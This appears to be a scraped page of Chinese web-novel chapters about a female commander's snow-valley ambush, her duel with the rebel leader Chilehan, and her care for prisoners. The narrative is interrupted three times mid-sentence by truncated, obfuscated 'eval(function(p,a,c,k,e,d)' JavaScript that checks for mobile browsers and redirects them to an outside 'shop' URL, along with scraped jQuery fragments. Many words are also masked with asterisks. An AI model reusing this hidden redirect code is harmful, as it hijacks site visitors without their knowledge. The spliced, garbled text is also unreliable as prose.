“王爷,还有半刻钟。”凌雪的声音低沉而紧绷,如同拉满的弓弦。她已经将**举至预备位置,右手食指轻轻搭在**上,整个人呈现出一种蓄势待发的姿态。月光照在她紧绷的面容上,映出额角细微的汗珠——即便在刺骨寒风中,紧张依旧让她渗出了冷汗。 谢凤卿深深吸入一口冰冷的空气,感受着寒意如细针般刺入肺腑。她缓缓抬起戴着银甲护手的右臂,这个简单的动作在寂静的雪夜中显得格外庄重。当她纤细的手指轻轻整理被风吹乱的发丝时,周围将士的呼吸都不约而同地屏住了——这个看似随意的动作,实则是主帅下达最终指令的前兆。 “传令各队,做好最后准备。”谢凤卿的声音平静得如同冻结的湖面,却带着千钧之力。每个字都清晰地传入严阵以待的将士耳中,在凛冽的寒风中激起回响:“记住,我们要的不仅是胜利,更要让每一个战士都能看到明天的太阳。” 这句话让所有人心头一颤。在以往的战前动员中,他们听到的多是“誓死效忠”、“不惜代价”之类的豪言壮语,而此刻主帅却将将士的性命放在首位。一股暖流在冰雪严寒中悄然蔓延,让紧绷的气氛中多了一丝人性的温度。 “得令!”凌雪和霍三娘齐声应道,声音中带着难以抑制的颤抖。两人迅速分头行动,白色的身影在雪地中穿梭,如同两道疾风。 此时,雪原上的气氛已经紧绷到了极点。每个战士都能听到自己心脏擂鼓般的跳动声,就连战马也似乎感知到了大战将至,不安地踏着蹄子,喷出的白气在空气中凝结成霜。兵器出鞘的细微声响此起彼伏,箭矢被轻轻搭上弓弦,每个人的眼神都死死盯着峡谷方向。 凌雪快速检查着每个战斗小组的准备情况。当她经过侦察兵李云身边时,注意到这个年轻战士的手指在微微发抖。她停下脚步,伸手替他整了整歪斜的箭囊,低声道:“稳住呼吸,就像平时训练那样。”这个细微的举动让李云迅速镇定下来。 霍三娘则穿梭在后勤队伍中,确认每个医疗点都已就位。她特意检查了担架的数量和位置,确保一旦出现伤员能够第一时间得到救治。这位经验丰富的老将深知,战前越是周全的准备,越能减少不必要的伤亡。 第75章敌袭!敌袭 谢凤卿立于高处,将这一切尽收眼底。她的目光如鹰隼般锐利,不放过任何一个细节。当看到凌雪安抚年轻士兵、霍三娘检查医疗物资时,她微微颔首——这正是她想要看到的,一支既有钢铁纪律又不失温情的军队。 远方的凤皇号在月色下若隐若现,炮口已经调整到最佳角度。峡谷中的敌军营地依旧灯火闪烁,偶尔传来模糊的喧哗声,浑然不知死亡正在逼近。 时间一分一秒地流逝,每一息都显得无比漫长。寒风卷着雪沫拍打在将士们的脸上,却无人伸手擦拭。所有人都保持着临战姿态,如同雪地中蓄势待发的狼群。 在这片被月光染成银白的雪原上,一场惊天动地的战役即将拉开序幕。而此刻的宁静,正是暴风雨来临前最后的平静。 雪,下得更急了。密集的雪片在空中狂乱飞舞,交织成一道厚重的白色帷幕,将天地笼罩在朦胧而压抑的寂静之中。在这片被冰雪封存的世界里,时间仿佛凝固,每一片雪花落地的细微声响都清晰可辨。将士们屏息凝神,连心跳声都刻意压抑,只有寒风掠过雪原的呜咽在耳畔回响。 就在这极致的寂静中,子时悄然而至。 骤然间,一道刺目的赤色光芒撕裂了夜幕,天地间亮如白昼。那不是黎明的曙光,而是来自凤皇号炮口的死亡之火。 "轰——" 第一声炮响如同九天惊雷,震得大地为之颤抖。紧接着,三十五门火龙炮相继怒吼,炮口喷薄而出的火舌将整个夜空染成血红色。炽热的气浪与冰冷的寒流在空中激烈碰撞,产生扭曲的波纹。炮弹拖着耀眼的尾焰,如同复仇的流星般划破天际,在夜空中织成一张死亡之网。 这些特制的炮弹在空中发出刺耳的尖啸,那是凝火胶在高速飞行中与空气摩擦产生的独特声响。当它们坠入峡谷时,爆发出比普通**猛烈数倍的**。一团团火球冲天而起,将峡谷照得如同炼狱。积雪在高温下瞬间汽化,形成浓密的白色雾气,与黑烟交织在一起,更添几分诡异。 **产生的冲击波甚至传到了数里之外的高地。谢凤卿感到脚下的土地在微微震动,强劲的气浪扑面而来,吹得她的白色斗篷猎猎作响。炽热的空气与刺骨的寒风形成鲜明对比,让人产生一种置身于冰火两重天的错觉。 峡谷内,原本宁静的叛军营地瞬间变成了人间地狱。帐篷被炸成碎片,粮草燃起冲天大火,战马受惊四处狂奔。一些叛军士兵甚至还没来得及从睡梦中完全清醒,就被**的烈焰吞噬。惨叫声、**声、建筑物倒塌声混杂在一起,奏响了一曲死亡交响乐。 在这片混乱中,凤皇号开始了第二轮齐射。这一次的炮火更加密集,如同暴雨般倾泻而下。特制的凝火胶在雪地上依旧猛烈燃烧,形成一片片移动的火海,将试图逃窜的叛军困在其中。 谢凤卿立于高地,冷静地观察着战局。炮火映照在她银甲上,折射出冰冷的光芒。她的面容在明灭的火光中显得格外肃穆,那双明眸中既没有胜利的喜悦,也没有对敌人的怜悯,只有一种超然的冷静——这是统帅在审视战局时必须保持的心态。 大战,终于拉开了序幕。 第一轮齐射带来的毁灭性打击远超任何人想象。炮弹坠入峡谷的瞬间,大地仿佛被巨神的重锤击中,剧烈震颤着发出痛苦的呻吟。炽热的火球接连炸开,将漆黑的夜空撕成碎片,整个峡谷在刺目的红光中无所遁形。**产生的冲击波如实质般向四周扩散,卷起地上的积雪和杂物,形成一道道混杂着死亡气息的旋风。 叛军营地瞬间陷入末日般的混乱。用厚帆布制成的帐篷在高温中迅速蜷缩、燃烧,如同纸糊的玩具被肆意撕碎。一个年轻的叛军士兵刚从睡梦中惊醒,还来不及抓起手边的弯刀,就被飞来的帐篷支柱贯穿胸膛。另一个老兵试图组织抵抗,却被飞溅的凝火胶粘满全身,在凄厉的惨叫声中化作人形火把。 "敌袭!敌袭!"一个只穿着单衣的哨兵声嘶力竭地呐喊,但下一秒就被倒塌的瞭望塔掩埋。 "快救火!水!快拿水来!"军需官试图抢救粮草,却发现落在雪地上的火焰竟遇雪不灭,反而燃烧得更加猛烈。这种违背常理的现象让叛军们惊恐万分,以为遭遇了天罚。 "我的腿!天啊,我的腿不见了!"一个被炸断双腿的士兵在血泊中爬行,在雪地上拖出触目惊心的血痕。 恐慌如同瘟疫般迅速蔓延。赤勒汗的士兵们像无头苍蝇般四处逃窜。有人慌不择路地冲向火海,有人则拼命往马厩方向挤,试图抢夺战马逃命。一个年仅十六岁的新兵光着身子在雪地里狂奔,冻得发紫的身体在火光中格外显眼。更多的人在混乱中相互推搡、踩踏,求生的本能让他们失去了理智。 "不要乱!列阵迎敌!"赤勒汗的怒吼在**声中显得如此微弱。这位身材魁梧的叛军主帅一把扯掉烧着的貂皮大氅,露出布满伤疤的胸膛。他挥舞着弯刀想要稳住阵脚,但恐慌的士兵们根本听不进任何命令。 就在这时,凤皇号的第二轮齐射如期而至。这一次的炮火更加精准、密集,仿佛长了眼睛般专门针对叛军的集结点。一枚特制炮弹带着刺耳的尖啸,正好落在赤勒汗前方十丈处。 "主帅小心!"亲兵队长猛地将赤勒汗扑倒在地。 轰然巨响中,灼热的气浪将周围的士兵掀飞出去。赤勒汗挣扎着爬起,抹去脸上的灰土和血迹,眼中迸射出野兽般的凶光。透过弥漫的硝烟,他仿佛看到了那个站在高处的身影——那个屡次坏他好事的女人。 "是谢凤卿!一定是那个娘们!"赤勒汗咬牙切齿,手中的弯刀因过度用力而微微颤抖。他想起三年前也是在这个峡谷,同样被谢凤卿用雪崩战术打得溃不成军。耻辱和愤怒让他的面容扭曲得更加狰狞:"传令下去,全力向**围!就是死,也要撕下她一块肉!"35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568914|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但此刻的叛军已经溃不成军。炮兵阵地被完全摧毁,弓箭手在火海中哀嚎,骑兵的战马受惊四处狂奔。更可怕的是,士兵们发现无论逃到哪里,总会有炮弹如影随形地落下。这种无所遁形的恐惧,彻底摧毁了他们的战斗意志。 一个老兵跪在雪地里喃喃祈祷,认为这是长生天降下的惩罚;几个士兵试图躲进峡谷的岩缝,却被滚落的巨石活埋;还有人干脆丢下武器,跪地求饶。整个营地仿佛一锅煮沸的水,每个角落都充满着死亡的气息。 赤勒汗在亲兵的保护下艰难地向东移动,每一步都要跨过倒毙的士兵尸体。他环顾四周,看到的是一个个熟悉的面孔在火焰中痛苦挣扎,听到的是此起彼伏的哀嚎。这位曾经不可一世的叛军主帅,第一次真切地感受到了绝望的滋味。 而这一切,仅仅是个开始。 高地上,谢凤卿的瞳孔中倒映着峡谷内冲天的火光,她冷静地观察着战局的每一个细节。当看到叛军开始自发地向东侧缺口**时,她知道等待的时机终于到来。 “引爆雪崩雷!”她的命令清晰而果断,没有一丝犹豫。 凌雪立即取出特制的**,双手稳如磐石。她深吸一口气,对准苍茫的夜空扣动**。一枚红色信号弹带着尖锐的呼啸声冲天而起,在弥漫的硝烟中划出一道刺目的血色弧线,如同死神挥出的朱笔。 这一刻,时间仿佛骤然凝固。峡谷中的叛军不约而同地抬头望天,被这突如其来的信号弹吸引了注意力。一个正在救火的老兵停下了泼水的动作,张大嘴巴望着天空;几个拼命向**围的骑兵勒住战马,不安地交换着眼神;就连正在组织抵抗的赤勒汗也眯起了眼睛,心中涌起不祥的预感。 就在信号弹升至最高点的刹那—— 轰隆隆! 第一声**从峡谷西侧岩壁传来,不像火炮那般尖锐,却带着令人心悸的沉闷巨响。紧接着,接二连三的**声如同滚雷般连绵不绝,整个峡谷开始剧烈颤抖。**产生的冲击波将地面上的积雪掀起数丈高,空气中弥漫着刺鼻的**味和雪沫的冰凉。 “地、地动了!”一个叛军士兵惊恐地尖叫,站立不稳摔倒在地。 最可怕的事情随即发生。峡谷两侧的岩壁在连续**中开始崩裂,厚厚的积雪层出现蛛网般的裂痕。起初只是小规模的雪块滑落,但很快就发展成排山倒海般的雪崩。数以万吨计的积雪如同苏醒的白色巨兽,带着毁灭一切的气势倾泻而下。 “雪崩了!快跑啊!”一个年轻的传令兵声嘶力竭地呐喊,但声音很快被雪崩的轰鸣淹没。 叛军士兵们的反应各不相同。有经验的老兵立即寻找坚固的掩体,一个满脸疤痕的百夫长拼命向岩壁凹陷处爬去;年轻的士兵则像无头苍蝇般四处乱窜,一个看起来不到二十岁的小兵跪在地上不住祈祷;更多的人本能地向东狂奔,却在深雪中举步维艰。 第76章此人已是穷途末路,必会使出阴险手 赤勒汗在亲兵护卫下试图后撤,但他的坐骑受惊人立而起,将他重重摔在雪地里。当他挣扎着爬起时,看到了一幅终身难忘的景象:白色的死亡之潮已经吞没了大半个营地,帐篷、粮车、武器,连同来不及逃跑的士兵,都在瞬间消失得无影无踪。 一个断腿的士兵在雪地上爬行,回头看到汹涌而来的雪浪,绝望地闭上了眼睛;几个躲在粮车后的士兵连人带车被卷起,在空中翻滚着坠入雪海;一匹战马嘶鸣着试图逃离,但转瞬就被奔腾的雪流淹没。 不过片刻功夫,大半个叛军营地已经变成一片白茫茫的雪海。只有少数幸运儿凭借地形或者及时反应逃过一劫,但他们也都被这毁天灭地的力量震慑,呆立在雪地中瑟瑟发抖。 雪崩过后,峡谷陷入诡异的寂静。方才还震耳欲聋的**声、呐喊声、马蹄声全都消失了,只剩下寒风掠过雪原的呜咽。幸存的叛军茫然四顾,看到的只有无边无际的雪白,以及零星露出的帐篷残骸和兵器碎片。 在这片新形成的雪原上,这里那里偶尔会突然伸出一只求救的手,或者传来微弱的呻吟声,但很快就会被新落下的雪花掩盖。整个峡谷变成了一个巨大的坟墓,埋葬了两万叛军的野心和生命。 高地上,谢凤卿静静俯视着这片雪白墓地,脸上没有任何表情。她缓缓抬起右手,轻轻拂去落在肩头的雪花。 那些侥幸在雪崩中存活的叛军士兵,此刻正陷入比死亡更深的绝望。他们惊恐地环顾四周:前方是刚刚形成的、深不可测的雪原墓地,吞噬了无数同伴;后方凤皇号的炮火仍在怒吼,每一发炮弹都在雪地上炸开新的死亡之花;左右两侧的崖壁仍在不时坍塌,滚落的雪块和岩石如同死神的镰刀。在这天地为牢的绝境中,士兵们展现出众生百态:一位白发苍苍的老兵双膝跪地,朝着东方故土的方向叩首祈祷,浑浊的泪水在布满皱纹的脸上结冰;几个年轻士兵发出野兽般的嚎叫,不顾一切地朝着看似安全的出口狂奔,却在深雪中越陷越深;更多的人则如同被抽去灵魂的木偶,呆立在原地,眼神空洞地等待着最终的审判。 谢凤卿静立于高地,白色斗篷在夹杂着雪沫的狂风中剧烈翻飞,如同展翅的白鹤。她面若寒霜,目光却似穿透了弥漫的硝烟,落在每一个挣扎求生的士兵身上。银甲反射着跃动的火光,在那冷硬的金属表面勾勒出温暖的光晕,恰似她此刻内心冰冷与温情的交织。 凛冽的寒风中,她仿佛又回到了十岁那年的夜晚。那时她躲在破损的城垣下,母亲的手轻抚她的脸颊,气若游丝地说:“凤卿,真正的强者...不是夺取多少生命,而是能守护多少生命。”这句话如同烙印,深深刻在她灵魂深处。 “王爷,叛军已溃不成军。”霍三娘上前禀报时,声音因激动而微微发颤。她伸手指向峡谷中如同无头苍蝇般四散奔逃的残兵,脸上洋溢着胜利的喜悦:“此战之辉煌,必将载入史册!” 谢凤卿的目光掠过那些在雪地中挣扎的身影,最终定格在几个正在徒手挖掘雪堆、试图救出被埋同伴的叛军士兵身上。她看到其中一人手指早已冻得紫黑,却仍不停刨着积雪,口中呼喊着同袍的名字。 “传令下去,”她的声音清冷如雪,却带着不容置疑的坚定,“全军出击,务必要生擒赤勒汗。但切记——”她转身凝视着霍三娘的眼睛,“立即组织救援队,全力搜救被雪崩掩埋的俘虏。他们虽曾追随叛军,终究是我朝子民。罪不至死,更不该被活活冻死在这冰天雪地中。” 霍三娘怔住了,她看着谢凤卿映着火光的侧脸,忽然明白了这位年轻主帅心中那份超越胜负的大爱。她单膝跪地,声音哽咽:“末将遵命!定不负王爷仁心!” 风雪十八骑如离弦之箭冲向峡谷,但与其他战争中的追击不同,他们此次携带的不仅是兵器,还有担架和急救物资。凌雪一马当先,却在经过一个蜷缩在雪地中发抖的年轻叛军身边时,解下了自己的披风扔了过去。这个细微的举动,恰是谢凤卿治军理念的最好诠释。 谢凤卿依然伫立高地,目光追随着在雪原上展开救援的将士们。朝阳终于突破云层,金辉洒落在银装素裹的大地上,仿佛为这片刚刚经历生死浩劫的土地施予神圣的洗礼。在光明与黑暗交织的天幕下,她窈窕的身影宛若一座慈悲的丰碑,见证着战争残酷的同时,也昭示着超越仇恨的仁爱之光。 风雪十八骑如离弦之箭,迅速向峡谷内推进。他们分成数个小队,每队配有两名医疗兵。队员们训练有素地清理着战场,一边追击残敌,一边救治伤员。所过之处,残存的叛军纷纷溃逃,根本组织不起有效的抵抗。 谢凤卿也纵马而下,桃花剑已然出鞘。剑身在火光映照下,泛着淡淡的粉色光泽,如同初春的桃花。白马在混乱的战场中灵活穿梭,避开燃烧的帐篷和散落的兵器。她的目光始终锁定在那个在亲兵护卫下试图突围的身影——赤勒汗。 "拦住他们!"谢凤卿清喝一声,一夹马腹,白马如闪电般射出。 赤勒汗此刻狼狈不堪。他的战马已经在炮火中受惊逃走,只能带着十几个亲兵徒步突围。这些亲兵都是跟随他多年的老兵,虽然身处绝境,却仍然保持着战斗队形,将主帅护在中央。 "主帅,往东边走!"一个满脸是血的亲兵大喊,"东边雪崩情况较轻,应该可以突围!" 赤勒汗咬牙点头,手中的弯刀沾满了凝固的血迹。他回头望了一眼已经成为地狱的营地,眼中迸射出仇恨的光芒:"谢凤卿,此仇不报,我赤勒汗誓不为人!" 然而,他的誓言很快就被现实打破。一支白色骑兵如同鬼魅般出现在他们面前,为首的正是谢凤卿。她端坐马上,桃花剑斜指地面,剑尖的寒光在雪地反射下格外刺眼。 "赤勒汗,投降吧。"谢凤卿的声音平静无波,却带着不容置疑的威严,"你们已经无路可逃。" 赤勒汗的亲兵们立即摆出防御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581351|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵型,但每个人脸上都写着绝望。他们亲眼见证了刚才那场毁灭性的打击,深知与谢凤卿为敌的下场。 "主帅,我们掩护您突围!"一个年轻亲兵大喊着冲向谢凤卿,试图为赤勒汗争取时间。 谢凤卿甚至没有移动,只是手腕轻抖,桃花剑划出一道优美的弧线。那亲兵手中的弯刀应声而断,人也被剑气震飞出去,落在雪地里不再动弹。 "还有谁想试试?"谢凤卿的目光扫过剩下的亲兵,最终定格在赤勒汗身上。 赤勒汗的面容在火光映照下扭曲得如同地狱恶鬼,那双曾经桀骜不驯的眼睛此刻布满血丝,闪烁着困兽般的疯狂。他死死盯着端坐马上的谢凤卿,牙齿咬得咯咯作响。败局已定,他心知肚明,但草原汉子与生俱来的骄傲让他无法接受如此**的结局。 "谢凤卿!"他嘶哑的吼声在峡谷中回荡,"你可敢与我一对一决斗?若我赢了,放我离开!"这话语中已全然不顾及那些仍在负隅顽抗的部下,只剩下赤裸裸的自私与不甘。 谢凤卿端坐马上,目光平静地俯视着这个穷途末路的对手。她轻轻摇头,声音清晰而冷冽:"败军之将,何来讨价还价的资格?"然而她话锋微转,唇角泛起一丝几不可察的弧度,"不过...本帅可以给你一个体面的结局。" 这刻意强调的"一人"二字,让赤勒汗的脸色更加难看。他环顾四周,看到那些仍在为他拼杀的亲兵,眼中闪过一丝挣扎,但很快就被疯狂所取代。"那你就看招吧!"他几乎是嘶吼着答应,已然将忠诚与道义抛诸脑后。 "王爷!"凌雪急声劝阻,"此人已是穷途末路,必会使出阴险手段!" 谢凤卿抬手示意无妨,轻巧地翻身下马。她将桃花剑横在胸前,雪白的披风在寒风中轻扬,与赤勒汗狼狈的模样形成鲜明对比。"出手吧。"她声音平静,仿佛即将进行的不是生死相搏,而是一场寻常的武艺切磋。 赤勒汗发出一声野兽般的咆哮,双手紧握弯刀,刀身在火光下泛着嗜血的光芒。他突然暴起,整个人如同离弦之箭般冲向谢凤卿。这一刀凝聚了他全部的怨恨与绝望,刀风凌厉到削断了空中的飞雪。 "**吧!"他嘶吼着,刀锋直取谢凤卿咽喉。这一击毫无保留,完全是以命相搏的架势,甚至放弃了所有防御。他根本不在乎胜负,只想在生命的最后时刻拖这个毁了他一切的女人下地狱。 谢凤卿却似早已看穿他的心思。就在刀锋即将及体的刹那,她身形微侧,桃花剑如游龙般轻灵一挑。两兵相击,迸射出的火花映亮了她冷静的眉眼。 这一刀又快又狠,角度刁钻,完全不像是一个疲惫之人能使出的招式。刀锋所过之处,连空气都仿佛被撕裂。周围的将士都不禁惊呼出声。 谢凤卿却不慌不忙,直到刀锋即将及体,她才微微侧身,桃花剑轻轻一挑,精准地架住了弯刀。刀剑相击,火花四溅,在夜色中格外醒目。 第77章交代,朝中还有哪些人与你们暗通款 赤勒汗的瞳孔骤然收缩,难以置信地瞪着眼前这个气定神闲的女子。他这一刀"断浪斩"已臻化境,八成功力足以开碑裂石,却被对方轻描淡写地化解。更令他心惊的是,谢凤卿的剑尖在格挡的瞬间,竟顺势在他手腕上划出一道精准的血痕,深浅恰到好处,既示警又不致命。 "第一招。"谢凤卿的声音平静无波,仿佛方才只是拂去了衣袖上的落雪。她持剑的姿势依旧优雅,桃花剑在月光下泛着淡淡的粉晕,剑身上的纹路如绽放的桃枝。 赤勒汗勃然大怒,喉间发出野兽般的低吼。他猛地后撤半步,靴子在雪地上划出深深的沟痕,随即腰身一拧,弯刀带着刺耳的破空声横扫而出。这一式"回风斩"是他的杀招之一,刀势如旋风般席卷而来,刀锋所过之处,连飘落的雪花都被一分为二。 谢凤卿却不退反进,在刀锋即将及体的刹那,她突然俯身如柳,整个人几乎贴地滑行。弯刀擦着她的发梢掠过,削断了几缕青丝。就在这电光火石之间,她的剑尖如毒蛇吐信般向上疾刺,精准地划过赤勒汗持刀的手臂。 "嗤"的一声轻响,赤勒汗的衣袖应声裂开,鲜血瞬间染红了布料。这一剑的力道拿捏得妙到毫巅,既让他感到刺骨的疼痛,又未伤及筋骨。 "第二招。"谢凤卿的声音依旧平静,但眼中已闪过一丝厉色。她翩然后退,白色斗篷在雪地上划出优美的弧线。 赤勒汗又惊又怒,伤口传来的刺痛让他彻底失去了理智。他狂吼一声,全身肌肉贲张,使出了压箱底的绝技"苍狼噬月"。这一招完全放弃了防御,弯刀带着他全身的力量和重量,如饿狼扑食般直取谢凤卿咽喉。刀风之凌厉,竟将周围的积雪都卷起三尺高。 观战的将士们不禁倒吸一口冷气,这一刀的速度和力量都已超出常人极限。就连一直镇定自若的凌雪也忍不住握紧了剑柄。 然而谢凤卿依旧从容不迫。在刀锋即将触及肌肤的瞬间,她微微侧身,桃花剑如灵蛇出洞,不偏不倚地点在赤勒汗持刀的手腕穴道上。 "铛啷"一声,弯刀应声落地,在雪地上砸出一个浅坑。赤勒汗只觉得手腕一麻,整条手臂顿时失去知觉。 "第三招。"谢凤卿收剑回鞘,动作如行云流水。她站立的位置与开始时分毫不差,甚至连呼吸都未曾紊乱。 赤勒汗捂着手腕踉跄后退,鲜血从指缝间不断渗出。他死死盯着地上的弯刀,又抬头看向那个纤尘不染的女子,脸上写满了震惊与绝望。三招,仅仅三招,他这位称雄草原二十载的猛将就一败涂地。更让他难以接受的是,对方自始至终都未使出全力,仿佛只是在指导一个不成器的弟子。 "不可能...这不可能..."他喃喃自语,声音嘶哑得如同破旧的风箱。在这一刻,他引以为傲的武功、声望、野心,全都化为了泡影。 谢凤卿冷眼俯视着这个败军之将,声音如寒冰刺骨:"拿下。" 风雪十八骑应声而动,如白色幽灵般迅速合围,将失魂落魄的赤勒汗牢牢制住。冰冷的铁链锁住他手腕时发出的铿锵声,为这场持续整夜的激战画上了句号。残存的亲兵们见主帅被擒,最后一丝斗志也随之消散,纷纷丢下手中兵器,在雪地上跪倒一片。 就在此时,东方的天际悄然发生了变化。墨染的夜幕边缘被撕开一道细缝,透出朦胧的鱼肚白。这抹微光逐渐扩散,将连绵的雪丘勾勒出柔和的轮廓。峡谷中尚未散尽的硝烟在晨曦中呈现出淡紫色的薄雾,与渐亮的天色交织成一幅奇异的画卷。 雪原上,"凤"字大旗在晨风中猎猎作响,旗面上的金凤刺绣在初现的曙光中泛着微弱的光芒。经过一夜激战,峡谷内的火光大多已经熄灭,唯有几处残烬还在顽强地冒着缕缕青烟,如同战场上尚未散尽的亡魂。 朝阳终于挣脱了地平线的束缚,将第一缕金光洒向这片饱经战火洗礼的土地。光线穿过弥漫的硝烟,形成一道道清晰可见的光柱,如同天界伸向人间的阶梯。积雪在阳光的照射下闪烁着晶莹的光芒,掩盖了昨夜的血腥与残酷。 微风拂过,卷起地面上的细雪,在空中形成闪烁的星尘。在这片新生的曙光中,战士们疲惫的脸上终于露出了释然的笑容。有人仰头感受着阳光的温暖,有人默默擦拭着兵器上的血迹,还有人开始搜寻伤员,呼喊声在清晨的雪原上回荡。 整个峡谷在朝阳的抚慰下渐渐苏醒,虽然满目疮痍,却透着一股劫后余生的宁静。旗帜在晨风中舒展,仿佛在向这片重归和平的土地致意。而新一轮的朝阳,正将温暖的光芒洒向每一个角落,预示着新的开始。 霍三娘踏着尚未完全融化的积雪快步走来,晨光在她饱经风霜的脸上跳跃,勾勒出难以抑制的喜悦。她向谢凤卿行了个标准的军礼,声音因激动而微微发颤:"王爷,战场已全部肃清。初步统计,此役共歼敌八千余人,俘虏一万一千余人,缴获粮草辎重无数。只有少数残兵趁夜色逃脱,凌雪已派人追击。"她顿了顿,眼中闪烁着自豪的光芒,"而我军伤亡不足百人!这真可谓古往今来难得一见的大捷!" 谢凤卿微微颔首,目光缓缓扫过这片经历了一夜血战的战场。在朝阳的金辉下,烧焦的旗帜半埋在雪中,散落的兵器闪烁着冷冽的光泽,几处尚未完全熄灭的余烬升起缕缕青烟。医护兵们正在伤员间忙碌地穿梭,他们白色的罩袍在晨曦中格外显眼。远处,工兵营已经开始清理道路,铁锹与积雪摩擦的声音为这片战场增添了几分生机。 "传令下去,"谢凤卿的声音清晰而沉稳,"优先救治我军伤员,务必要用最好的药材。阵亡将士要逐一登记造册,妥善安葬,抚恤金按惯例的三倍发放。" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585507|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的目光掠过那些垂头丧气的俘虏,语气转为严肃却不失温度,"俘虏一律按军法处置,但绝不可**。轻伤者要及时医治,重伤者更要全力救治,他们都是我朝子民。" 她缓步走向一群正在接受包扎的俘虏,对随行的军医嘱咐道:"救治俘虏也要尽心尽力,所需药材从我的份例中支取。"这时,一个年幼的俘虏兵怯生生地抬头看她,谢凤卿轻轻拍了拍少年的肩膀,转身对霍三娘说:"未满十六岁的俘虏,查明身份后遣返原籍,交给地方官府安置。" 朝阳越升越高,将她的身影拉得修长。望着这片重归平静的雪原,谢凤卿的眼中既有胜利的欣慰,也有一丝不易察觉的沉重。 "是!"霍三娘领命而去。 谢凤卿踏着沾满霜雪的军靴,缓步走向被铁链束缚的赤勒汗。这位曾经叱咤草原的枭雄此刻狼狈不堪,破损的战袍上结着冰凌,脸上炮火留下的黑灰与血污混杂在一起,在晨曦中显得格外凄凉。铁链随着他的动作发出沉重的声响,每一声都像是在为他逝去的荣光敲响丧钟。 赤勒汗艰难地抬起头,浑浊的目光中交织着不甘与困惑。当他看清逆光而立的谢凤卿时,瞳孔猛地收缩——朝阳在她身后形成一道光晕,将她衬托得如同天神下凡。这种神圣的景象与他此刻的落魄形成了残酷的对比。 "为什么?"他的声音嘶哑得如同破旧的风箱,每个字都带着血沫的气息,"你明明可以杀了我,为什么又要生擒?"这个问题在他心中盘旋已久,他实在无法理解这个屡次击败他的女人究竟在想什么。 谢凤卿微微俯身,晨光恰好照亮她半边脸庞,那精致的五官在光影中显得既圣洁又威严。"杀了你?"她的声音很轻,却带着千钧之力,"那太便宜你了。"她的目光穿透赤勒汗的瞳孔,仿佛要直视他灵魂深处,"我要你亲眼看着,我是如何在这片你曾经肆虐的土地上,建立起真正的太平盛世。" 她直起身,白色斗篷在晨风中轻扬,语气渐冷:"更要你交代,朝中还有哪些人与你们暗通款曲。"这句话如同冰锥,刺得赤勒汗浑身一颤。 赤勒汗脸上闪过一丝慌乱,但很快被狰狞所取代。他咧开干裂的嘴唇,露出染血的牙齿:"你休想从我这里得到任**息。"这话与其说是威胁,不如说是穷途末路之人的最后挣扎。 谢凤卿闻言,唇角勾起一抹若有似无的弧度。这个笑容中既没有愤怒,也没有轻蔑,反而带着几分怜悯。"那我们拭目以待。"她说完这句,决然转身,白色斗篷在雪地上划出一道优美的弧线。 就在她转身的刹那,朝阳完全跃出地平线,金辉洒满雪原。这突如其来的光明让赤勒汗不由自主地眯起眼睛,等他再次睁开时,只看到谢凤卿远去的背影正融入那片灿烂的晨光中,仿佛她本就是光明的一部分。 第78章王爷,接下来有何指示 而他自己,则被留在了逐渐消融的阴影里。 朝阳已经完全升起,金色的阳光洒满雪原,为这片刚刚经历战火洗礼的土地披上了希望的光辉。谢凤卿立于军队前,身后是凯旋的将士们。经过一夜激战,每个人脸上都带着疲惫,但眼中却闪烁着兴奋与自豪的光芒。 旭日东升,万道金光刺破黎明前的最后一丝阴霾,将整片雪原染成瑰丽的金红色。谢凤卿卓立于临时搭建的点将台上,身后是迎风招展的"凤"字大旗,身前是列队整齐的得胜之师。经过一夜血战的将士们虽然甲胄染血,面带倦容,但每个人的眼中都燃烧着胜利的火焰。 她缓缓抬手做了个手势,整个雪原瞬间鸦雀无声,只余寒风掠过旗面的猎猎作响。 "此战告捷,非我一人之功。"谢凤卿清越的声音在旷野中回荡,每个字都清晰地传入在场每个将士的耳中。她目光扫过台下那一张张饱经风霜的面孔,从年少的新兵到鬓角斑白的老将,眼神中充满敬意。 "是前线斥候冒死探得敌情,是火炮手不眠不休地操练,是工兵营在严寒中埋设雪崩雷,是医护兵在箭雨中抢救伤员,是每一位将士用热血和生命换来了今日的胜利!"她的声音逐渐高昂,每一个字都掷地有声。 她转身指向远处巍峨的凤皇号,朝阳为这艘立下赫赫战功的巨舰镀上金边:"是凤皇号威震四方,让敌人闻风丧胆!"又从怀中取出一枚雪崩雷,"是这小小的铁球改天换地,让我们以最小的代价赢得最大的胜利!" 台下将士们的呼吸变得粗重,这些浴血奋战的汉子们眼中泛起泪光。他们从未听过哪位主帅如此诚恳地将功劳归于士卒。 